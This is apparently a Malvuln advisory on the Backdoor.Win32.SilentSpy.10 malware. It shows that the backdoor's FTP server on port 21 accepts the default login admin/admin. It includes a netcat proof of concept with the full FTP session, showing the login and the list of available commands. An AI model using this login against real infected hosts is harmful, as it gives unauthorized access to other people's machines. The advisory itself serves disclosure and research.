Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/a7ce38e60cf08f2b234f34043b87e701_B.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.SilentSpy.10
Vulnerability: Authentication Race Condition
Description: The malware runs an FTP server on TCP port 21. Third-party attackers who can reach the system before a password has been set can logon using default credentials of admin/admin. The default credentials are displayed in the FTP banner upon connecting.
Type: PE32
MD5: a7ce38e60cf08f2b234f34043b87e701
Vuln ID: MVID-2021-0441
Disclosure: 12/31/2021

Exploit/PoC:
nc64.exe x.x.x.x 21
220-+-----------------------+
220-| º∩LΘn7 ºpy FTP server |
220-+-----------------------+-------------------------------------------------+
220-| To use the FTP server type,                                             |
220-| USER admin                                                              |
220-| PASS [servers password]                                                 |
220-| IF the server doesn't have a password then the password is also 'admin' |
220-| Have fun [type HELP for more commands]                                  |
220 +-------------------------------------------------------------------------+
USER admin
331 and the password for admin is .. ??
PASS admin
230 Welcome
SYST
215 IBM-PC (Windows95/98/NT based system)
HELP
214-The following commands are recognized:
   ABOR     DELE     NOOP     REIN     SITE     SYST     XRMD
   ACCT     HELP     PASS     REST     SMNT     TYPE     SIZE
   ALLO     LIST     PASV     RETR     STAT     USER
   APPE     MKD      PORT     RMD      STOR     XCWD
   CDUP     MODE     PWD      RNFR     STOU     XMKD
   CWD      NLST     QUIT     RNTO     STRU     XPWD
214 Send comments to drtinus@yahoo.com


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